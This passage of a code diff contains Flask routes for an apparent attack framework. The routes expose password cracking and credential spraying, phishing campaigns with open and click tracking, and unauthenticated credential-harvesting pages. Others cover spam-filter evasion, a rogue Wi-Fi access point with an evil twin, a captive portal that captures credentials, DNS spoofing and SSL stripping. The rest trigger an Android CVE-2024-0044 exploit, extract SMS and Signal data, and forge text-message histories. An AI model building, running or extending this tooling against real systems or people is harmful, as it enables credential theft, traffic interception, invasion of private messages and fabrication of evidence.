single = data.get('hash', '').strip()
if single:
hashes = [single]
if not hashes:
return jsonify({'ok': False, 'error': 'No hash provided'})
svc = _svc()
if len(hashes) == 1:
return jsonify({'ok': True, 'types': svc.identify_hash(hashes[0])})
return jsonify({'ok': True, 'results': svc.identify_batch(hashes)})
@password_toolkit_bp.route('/password-toolkit/crack', methods=['POST'])
@login_required
def crack_hash():
data = request.get_json(silent=True) or {}
hash_str = data.get('hash', '').strip()
if not hash_str:
return jsonify({'ok': False, 'error': 'No hash provided'})
svc = _svc()
result = svc.crack_hash(
hash_str=hash_str,
hash_type=data.get('hash_type', 'auto'),
wordlist=data.get('wordlist', ''),
attack_mode=data.get('attack_mode', 'dictionary'),
rules=data.get('rules', ''),
mask=data.get('mask', ''),
tool=data.get('tool', 'auto'),
)
return jsonify(result)
@password_toolkit_bp.route('/password-toolkit/crack/<job_id>', methods=['GET'])
@login_required
def crack_status(job_id):
return jsonify(_svc().get_crack_status(job_id))
@password_toolkit_bp.route('/password-toolkit/generate', methods=['POST'])
@login_required
def generate():
data = request.get_json(silent=True) or {}
svc = _svc()
passwords = svc.generate_password(
length=data.get('length', 16),
count=data.get('count', 5),
uppercase=data.get('uppercase', True),
lowercase=data.get('lowercase', True),
digits=data.get('digits', True),
symbols=data.get('symbols', True),
exclude_chars=data.get('exclude_chars', ''),
pattern=data.get('pattern', ''),
)
audits = [svc.audit_password(pw) for pw in passwords]
return jsonify({'ok': True, 'passwords': [
{'password': pw, **audit} for pw, audit in zip(passwords, audits)
]})
@password_toolkit_bp.route('/password-toolkit/audit', methods=['POST'])
@login_required
def audit():
data = request.get_json(silent=True) or {}
pw = data.get('password', '')
if not pw:
return jsonify({'ok': False, 'error': 'No password provided'})
return jsonify({'ok': True, **_svc().audit_password(pw)})
@password_toolkit_bp.route('/password-toolkit/hash', methods=['POST'])
@login_required
def hash_string():
data = request.get_json(silent=True) or {}
plaintext = data.get('plaintext', '')
algorithm = data.get('algorithm', 'sha256')
return jsonify(_svc().hash_string(plaintext, algorithm))
@password_toolkit_bp.route('/password-toolkit/spray', methods=['POST'])
@login_required
def spray():
data = request.get_json(silent=True) or {}
targets = data.get('targets', [])
passwords = data.get('passwords', [])
protocol = data.get('protocol', 'ssh')
delay = data.get('delay', 1.0)
return jsonify(_svc().credential_spray(targets, passwords, protocol, delay=delay))
@password_toolkit_bp.route('/password-toolkit/spray/<job_id>', methods=['GET'])
@login_required
def spray_status(job_id):
return jsonify(_svc().get_spray_status(job_id))
@password_toolkit_bp.route('/password-toolkit/wordlists', methods=['GET'])
@login_required
def list_wordlists():
return jsonify({'ok': True, 'wordlists': _svc().list_wordlists()})
@password_toolkit_bp.route('/password-toolkit/wordlists', methods=['POST'])
@login_required
def upload_wordlist():
f = request.files.get('file')
if not f or not f.filename:
return jsonify({'ok': False, 'error': 'No file uploaded'})
data = f.read()
return jsonify(_svc().upload_wordlist(f.filename, data))
@password_toolkit_bp.route('/password-toolkit/wordlists/<name>', methods=['DELETE'])
@login_required
def delete_wordlist(name):
return jsonify(_svc().delete_wordlist(name))
@password_toolkit_bp.route('/password-toolkit/tools', methods=['GET'])
@login_required
def tools_status():
return jsonify({'ok': True, **_svc().get_tools_status()})

516
web/routes/phishmail.py Normal file
View File

@@ -0,0 +1,516 @@
"""Gone Fishing Mail Service — web routes."""
import json
import base64
from flask import (Blueprint, render_template, request, jsonify,
Response, redirect, send_file)
from web.auth import login_required
phishmail_bp = Blueprint('phishmail', __name__, url_prefix='/phishmail')
def _server():
from modules.phishmail import get_gone_fishing
return get_gone_fishing()
# ── Page ─────────────────────────────────────────────────────────────────────
@phishmail_bp.route('/')
@login_required
def index():
return render_template('phishmail.html')
# ── Send ─────────────────────────────────────────────────────────────────────
@phishmail_bp.route('/send', methods=['POST'])
@login_required
def send():
"""Send a single email."""
data = request.get_json(silent=True) or {}
if not data.get('to_addrs'):
return jsonify({'ok': False, 'error': 'Recipients required'})
if not data.get('from_addr'):
return jsonify({'ok': False, 'error': 'Sender address required'})
to_addrs = data.get('to_addrs', '')
if isinstance(to_addrs, str):
to_addrs = [a.strip() for a in to_addrs.split(',') if a.strip()]
config = {
'from_addr': data.get('from_addr', ''),
'from_name': data.get('from_name', ''),
'to_addrs': to_addrs,
'subject': data.get('subject', ''),
'html_body': data.get('html_body', ''),
'text_body': data.get('text_body', ''),
'smtp_host': data.get('smtp_host', '127.0.0.1'),
'smtp_port': int(data.get('smtp_port', 25)),
'use_tls': data.get('use_tls', False),
'cert_cn': data.get('cert_cn', ''),
'reply_to': data.get('reply_to', ''),
'x_mailer': data.get('x_mailer', 'Microsoft Outlook 16.0'),
}
result = _server().send_email(config)
return jsonify(result)
@phishmail_bp.route('/validate', methods=['POST'])
@login_required
def validate():
"""Validate that a recipient is on the local network."""
data = request.get_json(silent=True) or {}
address = data.get('address', '')
if not address:
return jsonify({'ok': False, 'error': 'Address required'})
from modules.phishmail import _validate_local_only
ok, msg = _validate_local_only(address)
return jsonify({'ok': ok, 'message': msg})
# ── Campaigns ────────────────────────────────────────────────────────────────
@phishmail_bp.route('/campaigns', methods=['GET'])
@login_required
def list_campaigns():
server = _server()
campaigns = server.campaigns.list_campaigns()
for c in campaigns:
c['stats'] = server.campaigns.get_stats(c['id'])
return jsonify({'ok': True, 'campaigns': campaigns})
@phishmail_bp.route('/campaigns', methods=['POST'])
@login_required
def create_campaign():
data = request.get_json(silent=True) or {}
name = data.get('name', '').strip()
if not name:
return jsonify({'ok': False, 'error': 'Campaign name required'})
template = data.get('template', '')
targets = data.get('targets', [])
if isinstance(targets, str):
targets = [t.strip() for t in targets.split('\n') if t.strip()]
cid = _server().campaigns.create_campaign(
name=name,
template=template,
targets=targets,
from_addr=data.get('from_addr', 'it@company.local'),
from_name=data.get('from_name', 'IT Department'),
subject=data.get('subject', ''),
smtp_host=data.get('smtp_host', '127.0.0.1'),
smtp_port=int(data.get('smtp_port', 25)),
)
return jsonify({'ok': True, 'id': cid})
@phishmail_bp.route('/campaigns/<cid>', methods=['GET'])
@login_required
def get_campaign(cid):
server = _server()
camp = server.campaigns.get_campaign(cid)
if not camp:
return jsonify({'ok': False, 'error': 'Campaign not found'})
camp['stats'] = server.campaigns.get_stats(cid)
return jsonify({'ok': True, 'campaign': camp})
@phishmail_bp.route('/campaigns/<cid>/send', methods=['POST'])
@login_required
def send_campaign(cid):
data = request.get_json(silent=True) or {}
base_url = data.get('base_url', request.host_url.rstrip('/'))
result = _server().send_campaign(cid, base_url=base_url)
return jsonify(result)
@phishmail_bp.route('/campaigns/<cid>', methods=['DELETE'])
@login_required
def delete_campaign(cid):
if _server().campaigns.delete_campaign(cid):
return jsonify({'ok': True})
return jsonify({'ok': False, 'error': 'Campaign not found'})
# ── Templates ────────────────────────────────────────────────────────────────
@phishmail_bp.route('/templates', methods=['GET'])
@login_required
def list_templates():
templates = _server().templates.list_templates()
return jsonify({'ok': True, 'templates': templates})
@phishmail_bp.route('/templates', methods=['POST'])
@login_required
def save_template():
data = request.get_json(silent=True) or {}
name = data.get('name', '').strip()
if not name:
return jsonify({'ok': False, 'error': 'Template name required'})
_server().templates.save_template(
name, data.get('html', ''), data.get('text', ''),
data.get('subject', ''))
return jsonify({'ok': True})
@phishmail_bp.route('/templates/<name>', methods=['DELETE'])
@login_required
def delete_template(name):
if _server().templates.delete_template(name):
return jsonify({'ok': True})
return jsonify({'ok': False, 'error': 'Template not found or is built-in'})
# ── SMTP Relay ───────────────────────────────────────────────────────────────
@phishmail_bp.route('/server/start', methods=['POST'])
@login_required
def server_start():
data = request.get_json(silent=True) or {}
host = data.get('host', '0.0.0.0')
port = int(data.get('port', 2525))
result = _server().start_relay(host, port)
return jsonify(result)
@phishmail_bp.route('/server/stop', methods=['POST'])
@login_required
def server_stop():
result = _server().stop_relay()
return jsonify(result)
@phishmail_bp.route('/server/status', methods=['GET'])
@login_required
def server_status():
return jsonify(_server().relay_status())
# ── Certificate Generation ───────────────────────────────────────────────────
@phishmail_bp.route('/cert/generate', methods=['POST'])
@login_required
def cert_generate():
data = request.get_json(silent=True) or {}
result = _server().generate_cert(
cn=data.get('cn', 'mail.example.com'),
org=data.get('org', 'Example Inc'),
ou=data.get('ou', ''),
locality=data.get('locality', ''),
state=data.get('state', ''),
country=data.get('country', 'US'),
days=int(data.get('days', 365)),
)
return jsonify(result)
@phishmail_bp.route('/cert/list', methods=['GET'])
@login_required
def cert_list():
return jsonify({'ok': True, 'certs': _server().list_certs()})
# ── SMTP Connection Test ────────────────────────────────────────────────────
@phishmail_bp.route('/test', methods=['POST'])
@login_required
def test_smtp():
data = request.get_json(silent=True) or {}
host = data.get('host', '')
port = int(data.get('port', 25))
if not host:
return jsonify({'ok': False, 'error': 'Host required'})
result = _server().test_smtp(host, port)
return jsonify(result)
# ── Tracking (no auth — accessed by email clients) ──────────────────────────
# 1x1 transparent GIF
_PIXEL_GIF = base64.b64decode(
'R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7')
@phishmail_bp.route('/track/pixel/<campaign>/<target>')
def track_pixel(campaign, target):
"""Tracking pixel — records email open."""
try:
_server().campaigns.record_open(campaign, target)
except Exception:
pass
return Response(_PIXEL_GIF, mimetype='image/gif',
headers={'Cache-Control': 'no-store, no-cache'})
@phishmail_bp.route('/track/click/<campaign>/<target>/<link_data>')
def track_click(campaign, target, link_data):
"""Click tracking — records click and redirects."""
try:
_server().campaigns.record_click(campaign, target)
except Exception:
pass
# Decode original URL
try:
original_url = base64.urlsafe_b64decode(link_data).decode()
except Exception:
original_url = '/'
return redirect(original_url)
# ── Landing Pages / Credential Harvesting ─────────────────────────────────
@phishmail_bp.route('/landing-pages', methods=['GET'])
@login_required
def list_landing_pages():
return jsonify({'ok': True, 'pages': _server().landing_pages.list_pages()})
@phishmail_bp.route('/landing-pages', methods=['POST'])
@login_required
def create_landing_page():
data = request.get_json(silent=True) or {}
name = data.get('name', '').strip()
html = data.get('html', '')
if not name:
return jsonify({'ok': False, 'error': 'Name required'})
pid = _server().landing_pages.create_page(
name, html,
redirect_url=data.get('redirect_url', ''),
fields=data.get('fields', ['username', 'password']))
return jsonify({'ok': True, 'id': pid})
@phishmail_bp.route('/landing-pages/<pid>', methods=['GET'])
@login_required
def get_landing_page(pid):
page = _server().landing_pages.get_page(pid)
if not page:
return jsonify({'ok': False, 'error': 'Page not found'})
return jsonify({'ok': True, 'page': page})
@phishmail_bp.route('/landing-pages/<pid>', methods=['DELETE'])
@login_required
def delete_landing_page(pid):
if _server().landing_pages.delete_page(pid):
return jsonify({'ok': True})
return jsonify({'ok': False, 'error': 'Page not found or is built-in'})
@phishmail_bp.route('/landing-pages/<pid>/preview')
@login_required
def preview_landing_page(pid):
html = _server().landing_pages.render_page(pid, 'preview', 'preview', 'user@example.com')
if not html:
return 'Page not found', 404
return html
# Landing page capture endpoints (NO AUTH — accessed by phish targets)
@phishmail_bp.route('/lp/<page_id>', methods=['GET', 'POST'])
def landing_page_serve(page_id):
"""Serve a landing page and capture credentials on POST."""
server = _server()
if request.method == 'GET':
campaign = request.args.get('c', '')
target = request.args.get('t', '')
email = request.args.get('e', '')
html = server.landing_pages.render_page(page_id, campaign, target, email)
if not html:
return 'Not found', 404
return html
# POST — capture credentials
form_data = dict(request.form)
req_info = {
'ip': request.remote_addr,
'user_agent': request.headers.get('User-Agent', ''),
'referer': request.headers.get('Referer', ''),
}
capture = server.landing_pages.record_capture(page_id, form_data, req_info)
# Also update campaign tracking if campaign/target provided
campaign = form_data.get('_campaign', '')
target = form_data.get('_target', '')
if campaign and target:
try:
server.campaigns.record_click(campaign, target)
except Exception:
pass
# Redirect to configured URL or generic "success" page
page = server.landing_pages.get_page(page_id)
redirect_url = (page or {}).get('redirect_url', '')
if redirect_url:
return redirect(redirect_url)
return """<!DOCTYPE html><html><head><title>Success</title>
<style>body{font-family:sans-serif;display:flex;justify-content:center;align-items:center;min-height:100vh;background:#f5f5f5}
.card{background:#fff;padding:40px;border-radius:8px;text-align:center;box-shadow:0 2px 8px rgba(0,0,0,0.1)}
</style></head><body><div class="card"><h2>Authentication Successful</h2>
<p>You will be redirected shortly...</p></div></body></html>"""
@phishmail_bp.route('/captures', methods=['GET'])
@login_required
def list_captures():
campaign = request.args.get('campaign', '')
page = request.args.get('page', '')
captures = _server().landing_pages.get_captures(campaign, page)
return jsonify({'ok': True, 'captures': captures})
@phishmail_bp.route('/captures', methods=['DELETE'])
@login_required
def clear_captures():
campaign = request.args.get('campaign', '')
count = _server().landing_pages.clear_captures(campaign)
return jsonify({'ok': True, 'cleared': count})
@phishmail_bp.route('/captures/export')
@login_required
def export_captures():
campaign = request.args.get('campaign', '')
captures = _server().landing_pages.get_captures(campaign)
# CSV export
import io, csv
output = io.StringIO()
writer = csv.writer(output)
writer.writerow(['timestamp', 'campaign', 'target', 'ip', 'user_agent', 'credentials'])
for c in captures:
creds_str = '; '.join(f"{k}={v}" for k, v in c.get('credentials', {}).items())
writer.writerow([c.get('timestamp', ''), c.get('campaign', ''),
c.get('target', ''), c.get('ip', ''),
c.get('user_agent', ''), creds_str])
return Response(output.getvalue(), mimetype='text/csv',
headers={'Content-Disposition': f'attachment;filename=captures_{campaign or "all"}.csv'})
# ── Campaign enhancements ─────────────────────────────────────────────────
@phishmail_bp.route('/campaigns/<cid>/export')
@login_required
def export_campaign(cid):
"""Export campaign results as CSV."""
import io, csv
camp = _server().campaigns.get_campaign(cid)
if not camp:
return jsonify({'ok': False, 'error': 'Campaign not found'})
output = io.StringIO()
writer = csv.writer(output)
writer.writerow(['email', 'target_id', 'status', 'sent_at', 'opened_at', 'clicked_at'])
for t in camp.get('targets', []):
writer.writerow([t['email'], t['id'], t.get('status', ''),
t.get('sent_at', ''), t.get('opened_at', ''),
t.get('clicked_at', '')])
return Response(output.getvalue(), mimetype='text/csv',
headers={'Content-Disposition': f'attachment;filename=campaign_{cid}.csv'})
@phishmail_bp.route('/campaigns/import-targets', methods=['POST'])
@login_required
def import_targets_csv():
"""Import targets from CSV (email per line, or CSV with email column)."""
data = request.get_json(silent=True) or {}
csv_text = data.get('csv', '')
if not csv_text:
return jsonify({'ok': False, 'error': 'CSV data required'})
import io, csv
reader = csv.reader(io.StringIO(csv_text))
emails = []
for row in reader:
if not row:
continue
# Try to find email in each column
for cell in row:
cell = cell.strip()
if '@' in cell and '.' in cell:
emails.append(cell)
break
else:
# If no email found, treat first column as raw email
val = row[0].strip()
if val and not val.startswith('#'):
emails.append(val)
# Deduplicate
seen = set()
unique = []
for e in emails:
if e.lower() not in seen:
seen.add(e.lower())
unique.append(e)
return jsonify({'ok': True, 'emails': unique, 'count': len(unique)})
# ── DKIM ──────────────────────────────────────────────────────────────────
@phishmail_bp.route('/dkim/generate', methods=['POST'])
@login_required
def dkim_generate():
data = request.get_json(silent=True) or {}
domain = data.get('domain', '').strip()
if not domain:
return jsonify({'ok': False, 'error': 'Domain required'})
return jsonify(_server().dkim.generate_keypair(domain))
@phishmail_bp.route('/dkim/keys', methods=['GET'])
@login_required
def dkim_list():
return jsonify({'ok': True, 'keys': _server().dkim.list_keys()})
# ── DNS Auto-Setup ────────────────────────────────────────────────────────
@phishmail_bp.route('/dns-setup', methods=['POST'])
@login_required
def dns_setup():
data = request.get_json(silent=True) or {}
domain = data.get('domain', '').strip()
if not domain:
return jsonify({'ok': False, 'error': 'Domain required'})
return jsonify(_server().setup_dns_for_domain(
domain,
mail_host=data.get('mail_host', ''),
spf_allow=data.get('spf_allow', '')))
@phishmail_bp.route('/dns-status', methods=['GET'])
@login_required
def dns_check():
return jsonify(_server().dns_status())
# ── Evasion Preview ──────────────────────────────────────────────────────
@phishmail_bp.route('/evasion/preview', methods=['POST'])
@login_required
def evasion_preview():
data = request.get_json(silent=True) or {}
text = data.get('text', '')
mode = data.get('mode', 'homoglyph')
from modules.phishmail import EmailEvasion
ev = EmailEvasion()
if mode == 'homoglyph':
result = ev.homoglyph_text(text)
elif mode == 'zero_width':
result = ev.zero_width_insert(text)
elif mode == 'html_entity':
result = ev.html_entity_encode(text)
elif mode == 'random_headers':
result = ev.randomize_headers()
return jsonify({'ok': True, 'headers': result})
else:
result = text
return jsonify({'ok': True, 'result': result})

187
web/routes/pineapple.py Normal file
View File

@@ -0,0 +1,187 @@
"""WiFi Pineapple / Rogue AP routes."""
from flask import Blueprint, request, jsonify, render_template, make_response
from web.auth import login_required
pineapple_bp = Blueprint('pineapple', __name__, url_prefix='/pineapple')
def _get_ap():
from modules.pineapple import get_pineapple
return get_pineapple()
@pineapple_bp.route('/')
@login_required
def index():
return render_template('pineapple.html')
@pineapple_bp.route('/interfaces')
@login_required
def interfaces():
return jsonify(_get_ap().get_interfaces())
@pineapple_bp.route('/tools')
@login_required
def tools_status():
return jsonify(_get_ap().get_tools_status())
@pineapple_bp.route('/start', methods=['POST'])
@login_required
def start_ap():
data = request.get_json(silent=True) or {}
return jsonify(_get_ap().start_rogue_ap(
ssid=data.get('ssid', ''),
interface=data.get('interface', ''),
channel=data.get('channel', 6),
encryption=data.get('encryption', 'open'),
password=data.get('password'),
internet_interface=data.get('internet_interface')
))
@pineapple_bp.route('/stop', methods=['POST'])
@login_required
def stop_ap():
return jsonify(_get_ap().stop_rogue_ap())
@pineapple_bp.route('/status')
@login_required
def status():
return jsonify(_get_ap().get_status())
@pineapple_bp.route('/evil-twin', methods=['POST'])
@login_required
def evil_twin():
data = request.get_json(silent=True) or {}
return jsonify(_get_ap().evil_twin(
target_ssid=data.get('target_ssid', ''),
target_bssid=data.get('target_bssid', ''),
interface=data.get('interface', ''),
internet_interface=data.get('internet_interface')
))
@pineapple_bp.route('/portal/start', methods=['POST'])
@login_required
def portal_start():
data = request.get_json(silent=True) or {}
return jsonify(_get_ap().start_captive_portal(
portal_type=data.get('type', 'hotel_wifi'),
custom_html=data.get('custom_html')
))
@pineapple_bp.route('/portal/stop', methods=['POST'])
@login_required
def portal_stop():
return jsonify(_get_ap().stop_captive_portal())
@pineapple_bp.route('/portal/captures')
@login_required
def portal_captures():
return jsonify(_get_ap().get_portal_captures())
@pineapple_bp.route('/portal/capture', methods=['POST'])
def portal_capture():
"""Receive credentials from captive portal form submission (no auth required)."""
ap = _get_ap()
# Accept both form-encoded and JSON
if request.is_json:
data = request.get_json(silent=True) or {}
else:
data = dict(request.form)
data['ip'] = request.remote_addr
data['user_agent'] = request.headers.get('User-Agent', '')
ap.capture_portal_creds(data)
# Return the success page
html = ap.get_portal_success_html()
return make_response(html, 200)
@pineapple_bp.route('/portal/page')
def portal_page():
"""Serve the captive portal HTML page (no auth required)."""
ap = _get_ap()
html = ap.get_portal_html()
return make_response(html, 200)
@pineapple_bp.route('/karma/start', methods=['POST'])
@login_required
def karma_start():
data = request.get_json(silent=True) or {}
return jsonify(_get_ap().enable_karma(data.get('interface')))
@pineapple_bp.route('/karma/stop', methods=['POST'])
@login_required
def karma_stop():
return jsonify(_get_ap().disable_karma())
@pineapple_bp.route('/clients')
@login_required
def clients():
return jsonify(_get_ap().get_clients())
@pineapple_bp.route('/clients/<mac>/kick', methods=['POST'])
@login_required
def kick_client(mac):
return jsonify(_get_ap().kick_client(mac))
@pineapple_bp.route('/dns-spoof', methods=['POST'])
@login_required
def dns_spoof_enable():
data = request.get_json(silent=True) or {}
spoofs = data.get('spoofs', {})
return jsonify(_get_ap().enable_dns_spoof(spoofs))
@pineapple_bp.route('/dns-spoof', methods=['DELETE'])
@login_required
def dns_spoof_disable():
return jsonify(_get_ap().disable_dns_spoof())
@pineapple_bp.route('/ssl-strip/start', methods=['POST'])
@login_required
def ssl_strip_start():
return jsonify(_get_ap().enable_ssl_strip())
@pineapple_bp.route('/ssl-strip/stop', methods=['POST'])
@login_required
def ssl_strip_stop():
return jsonify(_get_ap().disable_ssl_strip())
@pineapple_bp.route('/traffic')
@login_required
def traffic():
return jsonify(_get_ap().get_traffic_stats())
@pineapple_bp.route('/sniff/start', methods=['POST'])
@login_required
def sniff_start():
data = request.get_json(silent=True) or {}
return jsonify(_get_ap().sniff_traffic(
interface=data.get('interface'),
filter_expr=data.get('filter'),
duration=data.get('duration', 60)
))
@pineapple_bp.route('/sniff/stop', methods=['POST'])
@login_required
def sniff_stop():
return jsonify(_get_ap().stop_sniff())

617
web/routes/rcs_tools.py Normal file
View File

@@ -0,0 +1,617 @@
"""RCS/SMS Exploitation routes — complete API for the RCS Tools page."""
from flask import Blueprint, request, jsonify, render_template
from web.auth import login_required
rcs_tools_bp = Blueprint('rcs_tools', __name__, url_prefix='/rcs-tools')
_rcs = None
def _get_rcs():
global _rcs
if _rcs is None:
from modules.rcs_tools import get_rcs_tools
_rcs = get_rcs_tools()
return _rcs
# ── Pages ────────────────────────────────────────────────────────────────────
@rcs_tools_bp.route('/')
@login_required
def index():
return render_template('rcs_tools.html')
# ── Status / Device ─────────────────────────────────────────────────────────
@rcs_tools_bp.route('/status')
@login_required
def status():
return jsonify(_get_rcs().get_status())
@rcs_tools_bp.route('/device')
@login_required
def device():
return jsonify(_get_rcs().get_device_info())
@rcs_tools_bp.route('/shizuku')
@login_required
def shizuku():
return jsonify(_get_rcs().check_shizuku_status())
@rcs_tools_bp.route('/archon')
@login_required
def archon():
return jsonify(_get_rcs().check_archon_installed())
@rcs_tools_bp.route('/security-patch')
@login_required
def security_patch():
return jsonify(_get_rcs().get_security_patch_level())
@rcs_tools_bp.route('/set-default', methods=['POST'])
@login_required
def set_default():
data = request.get_json(silent=True) or {}
package = data.get('package', '')
if not package:
return jsonify({'ok': False, 'error': 'Missing package name'})
return jsonify(_get_rcs().set_default_sms_app(package))
# ── IMS/RCS Diagnostics ────────────────────────────────────────────────────
@rcs_tools_bp.route('/ims-status')
@login_required
def ims_status():
return jsonify(_get_rcs().get_ims_status())
@rcs_tools_bp.route('/carrier-config')
@login_required
def carrier_config():
return jsonify(_get_rcs().get_carrier_config())
@rcs_tools_bp.route('/rcs-state')
@login_required
def rcs_state():
return jsonify(_get_rcs().get_rcs_registration_state())
@rcs_tools_bp.route('/enable-logging', methods=['POST'])
@login_required
def enable_logging():
return jsonify(_get_rcs().enable_verbose_logging())
@rcs_tools_bp.route('/capture-logs', methods=['POST'])
@login_required
def capture_logs():
data = request.get_json(silent=True) or {}
duration = int(data.get('duration', 10))
return jsonify(_get_rcs().capture_rcs_logs(duration))
@rcs_tools_bp.route('/pixel-diagnostics')
@login_required
def pixel_diagnostics():
return jsonify(_get_rcs().pixel_diagnostics())
@rcs_tools_bp.route('/debug-menu')
@login_required
def debug_menu():
return jsonify(_get_rcs().enable_debug_menu())
# ── Content Provider Extraction ─────────────────────────────────────────────
@rcs_tools_bp.route('/conversations')
@login_required
def conversations():
convos = _get_rcs().read_conversations()
return jsonify({'ok': True, 'conversations': convos, 'count': len(convos)})
@rcs_tools_bp.route('/messages')
@login_required
def messages():
rcs = _get_rcs()
thread_id = request.args.get('thread_id')
address = request.args.get('address')
keyword = request.args.get('keyword')
limit = int(request.args.get('limit', 200))
if thread_id:
msgs = rcs.get_thread_messages(int(thread_id), limit=limit)
elif address:
msgs = rcs.get_messages_by_address(address, limit=limit)
elif keyword:
msgs = rcs.search_messages(keyword, limit=limit)
else:
msgs = rcs.read_sms_database(limit=limit)
return jsonify({'ok': True, 'messages': msgs, 'count': len(msgs)})
@rcs_tools_bp.route('/sms-inbox')
@login_required
def sms_inbox():
msgs = _get_rcs().read_sms_inbox()
return jsonify({'ok': True, 'messages': msgs, 'count': len(msgs)})
@rcs_tools_bp.route('/sms-sent')
@login_required
def sms_sent():
msgs = _get_rcs().read_sms_sent()
return jsonify({'ok': True, 'messages': msgs, 'count': len(msgs)})
@rcs_tools_bp.route('/mms')
@login_required
def mms():
msgs = _get_rcs().read_mms_database()
return jsonify({'ok': True, 'messages': msgs, 'count': len(msgs)})
@rcs_tools_bp.route('/drafts')
@login_required
def drafts():
msgs = _get_rcs().read_draft_messages()
return jsonify({'ok': True, 'messages': msgs, 'count': len(msgs)})
@rcs_tools_bp.route('/undelivered')
@login_required
def undelivered():
msgs = _get_rcs().read_undelivered_messages()
return jsonify({'ok': True, 'messages': msgs, 'count': len(msgs)})
@rcs_tools_bp.route('/rcs-provider')
@login_required
def rcs_provider():
return jsonify(_get_rcs().read_rcs_provider())
@rcs_tools_bp.route('/rcs-messages')
@login_required
def rcs_messages():
thread_id = request.args.get('thread_id')
tid = int(thread_id) if thread_id else None
msgs = _get_rcs().read_rcs_messages(tid)
return jsonify({'ok': True, 'messages': msgs, 'count': len(msgs)})
@rcs_tools_bp.route('/rcs-participants')
@login_required
def rcs_participants():
p = _get_rcs().read_rcs_participants()
return jsonify({'ok': True, 'participants': p, 'count': len(p)})
@rcs_tools_bp.route('/rcs-file-transfers/<int:thread_id>')
@login_required
def rcs_file_transfers(thread_id):
ft = _get_rcs().read_rcs_file_transfers(thread_id)
return jsonify({'ok': True, 'file_transfers': ft, 'count': len(ft)})
@rcs_tools_bp.route('/enumerate-providers', methods=['POST'])
@login_required
def enumerate_providers():
return jsonify(_get_rcs().enumerate_providers())
# ── bugle_db Extraction ─────────────────────────────────────────────────────
@rcs_tools_bp.route('/extract-bugle', methods=['POST'])
@login_required
def extract_bugle():
return jsonify(_get_rcs().extract_bugle_db())
@rcs_tools_bp.route('/query-bugle', methods=['POST'])
@login_required
def query_bugle():
data = request.get_json(silent=True) or {}
sql = data.get('sql', '')
if not sql:
return jsonify({'ok': False, 'error': 'No SQL query provided'})
return jsonify(_get_rcs().query_bugle_db(sql))
@rcs_tools_bp.route('/extract-rcs-bugle', methods=['POST'])
@login_required
def extract_rcs_bugle():
return jsonify(_get_rcs().extract_rcs_from_bugle())
@rcs_tools_bp.route('/extract-conversations-bugle', methods=['POST'])
@login_required
def extract_conversations_bugle():
return jsonify(_get_rcs().extract_conversations_from_bugle())
@rcs_tools_bp.route('/extract-edits', methods=['POST'])
@login_required
def extract_edits():
return jsonify(_get_rcs().extract_message_edits())
@rcs_tools_bp.route('/extract-all-bugle', methods=['POST'])
@login_required
def extract_all_bugle():
return jsonify(_get_rcs().extract_all_from_bugle())
@rcs_tools_bp.route('/extracted-dbs')
@login_required
def extracted_dbs():
return jsonify(_get_rcs().list_extracted_dbs())
# ── CVE-2024-0044 Exploit ──────────────────────────────────────────────────
@rcs_tools_bp.route('/cve-check')
@login_required
def cve_check():
return jsonify(_get_rcs().check_cve_2024_0044())
@rcs_tools_bp.route('/cve-exploit', methods=['POST'])
@login_required
def cve_exploit():
data = request.get_json(silent=True) or {}
target = data.get('target_package', 'com.google.android.apps.messaging')
return jsonify(_get_rcs().exploit_cve_2024_0044(target))
@rcs_tools_bp.route('/cve-cleanup', methods=['POST'])
@login_required
def cve_cleanup():
return jsonify(_get_rcs().cleanup_cve_exploit())
@rcs_tools_bp.route('/signal-state', methods=['POST'])
@login_required
def signal_state():
return jsonify(_get_rcs().extract_signal_protocol_state())
# ── Export / Backup ──────────────────────────────────────────────────────────
@rcs_tools_bp.route('/export', methods=['POST'])
@login_required
def export():
data = request.get_json(silent=True) or {}
address = data.get('address') or None
fmt = data.get('format', 'json')
return jsonify(_get_rcs().export_messages(address=address, fmt=fmt))
@rcs_tools_bp.route('/backup', methods=['POST'])
@login_required
def backup():
data = request.get_json(silent=True) or {}
fmt = data.get('format', 'json')
return jsonify(_get_rcs().full_backup(fmt))
@rcs_tools_bp.route('/restore', methods=['POST'])
@login_required
def restore():
data = request.get_json(silent=True) or {}
path = data.get('path', '')
if not path:
return jsonify({'ok': False, 'error': 'Missing backup path'})
return jsonify(_get_rcs().full_restore(path))
@rcs_tools_bp.route('/clone', methods=['POST'])
@login_required
def clone():
return jsonify(_get_rcs().clone_to_device())
@rcs_tools_bp.route('/backups')
@login_required
def list_backups():
return jsonify(_get_rcs().list_backups())
@rcs_tools_bp.route('/exports')
@login_required
def list_exports():
return jsonify(_get_rcs().list_exports())
# ── Forging ──────────────────────────────────────────────────────────────────
@rcs_tools_bp.route('/forge', methods=['POST'])
@login_required
def forge():
data = request.get_json(silent=True) or {}
result = _get_rcs().forge_sms(
address=data.get('address', ''),
body=data.get('body', ''),
msg_type=int(data.get('type', 1)),
timestamp=int(data['timestamp']) if data.get('timestamp') else None,
contact_name=data.get('contact_name'),
read=int(data.get('read', 1)),
)
return jsonify(result)
@rcs_tools_bp.route('/forge-mms', methods=['POST'])
@login_required
def forge_mms():
data = request.get_json(silent=True) or {}
return jsonify(_get_rcs().forge_mms(
address=data.get('address', ''),
subject=data.get('subject', ''),
body=data.get('body', ''),
msg_box=int(data.get('msg_box', 1)),
timestamp=int(data['timestamp']) if data.get('timestamp') else None,
))
@rcs_tools_bp.route('/forge-rcs', methods=['POST'])
@login_required
def forge_rcs():
data = request.get_json(silent=True) or {}
return jsonify(_get_rcs().forge_rcs(
address=data.get('address', ''),
body=data.get('body', ''),
msg_type=int(data.get('type', 1)),
timestamp=int(data['timestamp']) if data.get('timestamp') else None,
))
@rcs_tools_bp.route('/forge-conversation', methods=['POST'])
@login_required
def forge_conversation():
data = request.get_json(silent=True) or {}
return jsonify(_get_rcs().forge_conversation(
address=data.get('address', ''),
messages=data.get('messages', []),
contact_name=data.get('contact_name'),
))
@rcs_tools_bp.route('/bulk-forge', methods=['POST'])
@login_required
def bulk_forge():
data = request.get_json(silent=True) or {}
msgs = data.get('messages', [])
if not msgs:
return jsonify({'ok': False, 'error': 'No messages provided'})
return jsonify(_get_rcs().bulk_forge(msgs))
@rcs_tools_bp.route('/import-xml', methods=['POST'])
@login_required
def import_xml():
data = request.get_json(silent=True) or {}
xml = data.get('xml', '')
if not xml:
return jsonify({'ok': False, 'error': 'No XML content provided'})
return jsonify(_get_rcs().import_sms_backup_xml(xml))
